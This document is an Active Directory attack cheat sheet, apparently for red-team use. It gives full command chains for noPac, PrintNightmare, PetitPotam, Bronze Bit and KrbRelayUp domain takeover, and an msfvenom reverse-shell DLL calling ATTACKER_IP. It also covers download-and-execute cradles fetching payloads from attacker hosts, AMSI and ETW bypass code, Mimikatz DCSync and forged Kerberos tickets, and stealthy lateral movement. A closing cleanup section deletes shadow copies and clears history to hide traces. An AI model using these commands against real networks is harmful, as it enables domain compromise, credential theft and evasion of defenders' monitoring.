Two vulnerabilities combined: CVE-2021-42278 allows a machine account to have a sAMAccountName without the trailing $ suffix — meaning you can name a machine account DC01 (same as the Domain Controller). CVE-2021-42287 is a PAC confusion bug in the KDC. When a TGT is requested for DC01, and then DC01 is renamed back, the KDC's S4U2Self lookup for the ticket falls back to searching for DC01$ — finding the actual Domain Controller. The result: a service ticket for the DC as any user. Unpatched systems (pre-November 2021) are fully compromised with a single command.
# --- noPac.py (Linux — full automated chain)
python3 noPac.py corp.local/user:Password -dc-ip DC01_IP -dc-host DC01 --impersonate administrator -dump
# Dumps all hashes via DCSync using the impersonated Administrator ticket
# --- Just get a shell
python3 noPac.py corp.local/user:Password -dc-ip DC01_IP -dc-host DC01 --impersonate administrator -shell
# --- Manual Impacket chain (step by step)
# Step 1: Create machine account (requires MachineAccountQuota > 0, default 10)
python3 addcomputer.py corp.local/user:Password -dc-ip DC01_IP -computer-name NOPACMACHINE -computer-pass Hax0r!2026
# Step 2: Rename machine sAMAccountName to DC name (without $)
python3 renameMachine.py corp.local/user:Password -dc-ip DC01_IP -computer-name NOPACMACHINE -new-name DC01
# Step 3: Request TGT for DC01 (our renamed machine)
python3 getTGT.py corp.local/DC01 -hashes :MACHINE_NTLM_HASH -dc-ip DC01_IP
# Step 4: Rename back (important — must happen before S4U)
python3 renameMachine.py corp.local/user:Password -dc-ip DC01_IP -computer-name DC01 -new-name NOPACMACHINE
# Step 5: S4U2Self with forged TGT to get admin ticket for DC01
python3 getST.py corp.local/DC01 -hashes :MACHINE_NTLM_HASH -spn CIFS/DC01.corp.local -impersonate administrator -dc-ip DC01_IP -self
# --- noPac C# (Windows)
.\noPac.exe scan -domain corp.local -user user -pass Password # check vulnerability
.\noPac.exe -domain corp.local -user user -pass Password /dc DC01.corp.local /mAccount FAKEMACHINE /mPassword Pass123! /service cifs /ptt
PrintNightmare — CVE-2021-1675 / CVE-2021-34527
Print Spooler RCE → SYSTEM on any domain machine
A vulnerability in the Windows Print Spooler service allows any authenticated user to load arbitrary DLLs on a remote machine with SYSTEM privileges. Two variants: the original LPE (local privilege escalation) exploits AddPrintDriver locally; the RCE variant abuses RpcAddPrinterDriverEx to load a DLL from a remote UNC path. When used against Domain Controllers, you get SYSTEM on the DC — instant domain takeover. Patched June/July 2021, but the PrinterBug (coercion primitive) from Spooler still works for relay attacks even on patched systems.
# --- Check if Print Spooler is running on target (required for exploit)
Get-Service -ComputerName DC01.corp.local -Name Spooler
nxc smb DC01_IP -u user -p Password -M spooler
# --- cube0x0 Python (Linux — RCE variant, load malicious DLL via SMB)
# Host your DLL on SMB share first:
sudo impacket-smbserver share /tmp/share -smb2support
# Generate DLL payload (e.g., reverse shell or add DA)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o evil.dll
python3 CVE-2021-1675.py corp.local/user:Password@DC01_IP '\\ATTACKER_IP\share\evil.dll'
# --- SharpPrintNightmare (Windows — LPE on current machine)
.\SharpPrintNightmare.exe C:\Windows\System32\spool\drivers\x64\3\evil.dll
# --- Invoke-Nightmare (PowerShell — add user to local admins)
Import-Module .\Invoke-Nightmare.ps1
Invoke-Nightmare -DriverName "Totally Legit Printer" -NewUser backdoor -NewPassword Backdoor123!
PetitPotam — CVE-2021-36942 (MS-EFSRPC Coercion)
Unauthenticated coercion of Domain Controllers
PetitPotam abuses the Encrypting File System Remote Protocol (MS-EFSRPC) to coerce a Windows host to authenticate to an attacker-controlled server. Originally worked unauthenticated (since patched), but still functions with valid domain credentials against unpatched hosts. The coercion is the primitive — combine with NTLM relay to LDAP/LDAPS (for RBCD or shadow credentials) or to AD CS web enrollment (ESC8). This is one of the most powerful relay setups in modern AD attacks.
# --- PetitPotam (authenticated — works even on patched DCs)
python3 PetitPotam.py -u user -p Password -d corp.local LISTENER_IP DC01.corp.local
# --- Unauthenticated (only on unpatched)
python3 PetitPotam.py LISTENER_IP DC01.corp.local
# --- Combined: PetitPotam + Relay to ADCS ESC8 (most impactful)
# Terminal 1: Start Certipy relay targeting CA
sudo certipy relay -ca CA_SERVER.corp.local -template DomainController
# Terminal 2: Coerce DC
python3 PetitPotam.py -u user -p Password ATTACKER_IP DC01.corp.local
# Result: DC01$ cert saved → use for DCSync via PKINIT UnPAC-the-Hash
# --- Combined: PetitPotam + RBCD via LDAP relay
# Terminal 1:
sudo ntlmrelayx.py -t ldap://DC01.corp.local --delegate-access --add-computer-name ATTACKPC$ --add-computer-password Hax0r!2026 --no-da --no-acl
# Terminal 2:
python3 PetitPotam.py -u user -p Password ATTACKER_IP VICTIM_SERVER.corp.local
Bronze Bit — CVE-2020-17049 (S4U2Proxy Bypass)
Forging service tickets that bypass delegation restrictions
Normally, S4U2Proxy requires the service ticket from S4U2Self to have the forwardable flag set. For protected users or accounts with "Account is sensitive and cannot be delegated," the KDC refuses to set this flag. CVE-2020-17049 (Bronze Bit) allows an attacker with the service account key to forge this forwardable flag in the service ticket — bypassing the restriction and enabling S4U2Proxy for ANY user, including protected admins. Patched November 2020, but significant for unpatched environments.
# --- impacket getST with Bronze Bit (-force-forwardable flag)
python3 getST.py corp.local/svc_iis -hashes :NTLM_HASH -spn CIFS/fileserver.corp.local -impersonate administrator -force-forwardable
# This bypasses "sensitive account" protection — useful when target DA is marked "cannot be delegated"
KrbRelayUp — Local Privilege Escalation via RBCD + Kerberos Relay
Local → SYSTEM on domain-joined machines without credentials
KrbRelayUp chains multiple techniques: it relays the current user's Kerberos authentication to LDAP (using a local COM relay), creates a machine account, configures RBCD on the local machine pointing to the new machine account, then impersonates SYSTEM via S4U. All of this happens locally — no network relay needed. Any domain user with local access can escalate to SYSTEM on domain-joined Windows machines where LDAP signing is not enforced. Affects all Windows 10/11 and Server versions.
# --- KrbRelayUp (fully automated — domain user → SYSTEM locally)
.\KrbRelayUp.exe relay -d corp.local -dc DC01.corp.local
# --- With specific target for shell
.\KrbRelayUp.exe relay -d corp.local -dc DC01.corp.local -p 12345 -cls 1c02e8b4-2fed-4901-b5e2-d06d06f18cca
# --- Full manual chain equivalent:
# 1. Relay Kerberos auth to LDAP → add machine account RBCD on local machine
# 2. Request TGT for machine account → S4U to SYSTEM
# 3. Pass-the-ticket → run as SYSTEM
.\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
Coercion Techniques Reference
# --- SpoolSample / PrinterBug (MS-RPRN — requires Print Spooler)
.\SpoolSample.exe TARGET_HOST LISTENER_HOST
# --- PetitPotam (MS-EFSRPC — patched unauthenticated, works authed)
python3 PetitPotam.py -u user -p Password LISTENER_IP TARGET_HOST
# --- DFSCoerce (MS-DFSNM — unpatched widely, no creds needed on some builds)
python3 dfscoerce.py -u user -p Password LISTENER_IP TARGET_HOST
# --- ShadowCoerce (MS-FSRVP — Volume Shadow Copy protocol)
python3 shadowcoerce.py -u user -p Password LISTENER_IP TARGET_HOST
# --- Coercer (automated — tries all coercion methods)
python3 Coercer.py -u user -p Password -d corp.local -t TARGET_HOST -l LISTENER_IP
python3 Coercer.py scan -u user -p Password -d corp.local -t TARGET_HOST # check what's enabled
Defense Evasion & OPSEC
Key Windows Security Event IDs
| Event ID | Description | Trigger |
|---|---|---|
| 4624 | Successful logon | Any authentication |
| 4625 | Failed logon | Wrong creds / lockout trigger |
| 4648 | Logon with explicit credentials | RunAs / pass-the-hash |
| 4662 | Object operation (AD object) | DCSync (DS-Replication rights) |
| 4663 | Object access attempt | File access, registry |
| 4672 | Special privileges assigned | Privileged logon (DA, etc.) |
| 4720 | User account created | Backdoor user creation |
| 4728 | Member added to global group | Adding to Domain Admins |
| 4738 | User account changed | UAC modifications |
| 4768 | TGT requested (Kerberos AS-REQ) | AS-REP Roast, ticket ops |
| 4769 | Service ticket requested (TGS-REQ) | Kerberoasting, lateral movement |
| 4771 | Kerberos pre-auth failure | Wrong password AS-REQ |
| 4776 | NTLM credential validation | NTLM auth, pass-the-hash |
| 4798 | User's local group membership enumerated | BloodHound, enumeration |
| 4799 | Security-enabled local group enumerated | BloodHound, enumeration |
| 5136 | Directory service object modified | ACL changes, RBCD, shadow creds |
| 5145 | Network share access check | SMB share enumeration |
Bypassing Common Defenses
# --- AMSI bypass (in-memory, PowerShell)
# Method 1: Patch amsi.dll in memory (classic, detected by most AVs now)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Method 2: Reflection-based
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiContext','NonPublic,Static')
$c=$b.GetValue($null)
[Runtime.InteropServices.Marshal]::WriteByte($c,8,[Byte]0)
# --- ETW (Event Tracing) patching (kills PowerShell ScriptBlock logging)
$a=[Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
$b=$a.GetField('etwProvider','NonPublic,Static').GetValue($null)
[Runtime.InteropServices.Marshal]::WriteByte($b,0x3e8,[Byte]0)
# --- Constrained Language Mode check + bypass attempts
$ExecutionContext.SessionState.LanguageMode # check if FullLanguage or ConstrainedLanguage
# If constrained: use PS v2 (no CLM, no AMSI, no ScriptBlock logging)
powershell -Version 2 -Command { IEX(New-Object Net.WebClient).DownloadString('http://...') }
# --- PowerShell execution policy bypass
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -c "IEX (Get-Content .\script.ps1 -Raw)"
# --- Encoded command (avoids string-based detection)
$cmd = "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$enc = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $enc
Mimikatz OPSEC
# --- Don't drop to disk — use in-memory loading
IEX (New-Object Net.WebClient).DownloadString('https://ATTACKER/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"lsadump::dcsync /user:corp\krbtgt"'
# --- Cobalt Strike beacon execute-assembly (never touches disk)
execute-assembly /opt/tools/Mimikatz.exe "lsadump::dcsync /user:corp\krbtgt" exit
# --- SafetyKatz — .NET loader for Mimikatz, AMSI-bypassed
.\SafetyKatz.exe "lsadump::dcsync /user:corp\krbtgt" "exit"
# --- SharpKatz — C# reimplementation (smaller AV surface)
.\SharpKatz.exe --Command dcsync --User krbtgt --Domain corp.local --DomainController DC01.corp.local
# --- PPL bypass — protected process light for LSASS
# Method 1: PPLKiller / PPLBlade (kernel driver — very noisy)
# Method 2: mimidrv.sys (Mimikatz kernel driver — extremely loud)
# Better: use DCSync instead of LSASS dump where possible
# --- Avoid lsass.exe access entirely
# DCSync = no LSASS, no Event 10 (Sysmon process access)
# Constrained/RBCD delegation = no LSASS
# Certificate auth (ADCS ESC1) = no LSASS
BloodHound OPSEC — Quiet Collection
# --- Avoid noisy default collection methods
# All collection: generates Event 4798/4799 per host — very loud across many machines
.\SharpHound.exe --CollectionMethods All
# --- Stealth: DCOnly collection (only queries DC via LDAP — no host connections)
.\SharpHound.exe --CollectionMethods DCOnly --Stealth
# Misses: local admins, sessions (requires host connection) — but far less noise
# --- Session collection only (least noisy — 1 event per host)
.\SharpHound.exe --CollectionMethods Session --Stealth
# --- Bloodhound-Python (from Linux — no binary dropped on target)
python3 bloodhound-python -u user -p Password -d corp.local -ns DC01_IP -c DCOnly
python3 bloodhound-python -u user -p Password -d corp.local -ns DC01_IP -c All --zip
# --- Spread collection over time (avoid burst of 4798/4799 events)
.\SharpHound.exe --CollectionMethods All --Loop --LoopDuration 24:00:00 --LoopInterval 00:05:00
Kerberos Ticket OPSEC
# --- Golden Ticket OPSEC (avoid common detection signatures)
# DO: Use current domain name, actual user RIDs, realistic ticket lifetime
# DON'T: Use /renewmax >7 days (default detection rule), user ID 500 every time
# Stealthy Golden Ticket — mimic real ticket parameters
.\Rubeus.exe golden /user:normaluser /id:1234 /domain:corp.local /sid:S-1-5-21-DOMAIN-SID /krbtgt:HASH /startoffset:-5 /endin:600 /renewmax:10080 /ptt
# --- Diamond Ticket (recommended over Golden Ticket — evades most detections)
# Requests a REAL TGT, then modifies the PAC — encrypted with krbtgt key
.\Rubeus.exe diamond /user:normaluser /password:Password /domain:corp.local /dc:DC01.corp.local /enctype:aes256 /krbkey:KRBTGT_AES256_KEY /ticketuser:administrator /ticketuserid:500 /groups:512 /ptt
# --- Sapphire Ticket (stealthiest — uses real DC response, no forging)
.\Rubeus.exe sapphire /user:normaluser /password:Password /domain:corp.local /dc:DC01.corp.local /impersonateuser:administrator /ptt
# --- Use AES256 keys instead of RC4/NTLM (AES256 is default, RC4 is suspicious)
# DCSync AES256 keys
.\Mimikatz.exe "lsadump::lsa /patch" "exit" # gets AES256 keys
# Pass AES key to Rubeus
.\Rubeus.exe asktgt /user:administrator /enctype:aes256 /aes256:AES256_KEY /ptt
Lateral Movement OPSEC
# --- WMI (over-the-wire: DCOM — harder to detect than SMB exec)
$wmi = [wmiclass]"\\TARGET\root\cimv2:Win32_Process"
$wmi.Create("powershell.exe -ep bypass -c IEX(...)")
# --- WinRM / PSRemoting (Event 4624 type 3, encrypts payload)
$s = New-PSSession -ComputerName TARGET -Credential $cred
Invoke-Command -Session $s -ScriptBlock { hostname; whoami }
# --- DCOM lateral movement (uses COM objects — less monitored)
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET"))
$com.Document.ActiveView.ExecuteShellCommand("powershell",$null,"-ep bypass -c PAYLOAD","7")
# --- SCShell (service control — over named pipe, bypasses traditional lateral move detection)
.\SCShell.exe TARGET XblAuthManager "cmd.exe /c PAYLOAD" corp.local user Password
# --- Use existing sessions (don't create new logon events)
# If you have access to existing Cobalt Strike/Meterpreter session, use that host's token
# Token impersonation from existing session = same logon session, no new 4624
Cleanup Checklist
# --- Remove persistence artifacts
# Delete backdoor user
Remove-ADUser -Identity backdoor_user
# Remove AdminSDHolder ACE
Remove-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity attacker_user -Rights All
# Remove shadow credentials
certipy shadow remove -u user@corp.local -p Password -account victim_user -dc-ip DC01_IP
# Remove RBCD entries
Set-DomainObject TARGET_MACHINE -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
# Remove created machine account
Remove-ADComputer -Identity FAKEMACHINE$
# Remove VSS shadow copies (if created)
vssadmin delete shadows /all /quiet
# --- Clear PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force
Clear-History
# --- Flush Kerberos tickets from memory
.\Rubeus.exe purge # purge all injected tickets
klist purge # native Windows ticket purge
# --- Sysmon evasion — use processes that don't generate CreateRemoteThread events
# Avoid injecting into sensitive processes: lsass.exe, csrss.exe, winlogon.exe
# Prefer: svchost.exe, explorer.exe, runtimebroker.exe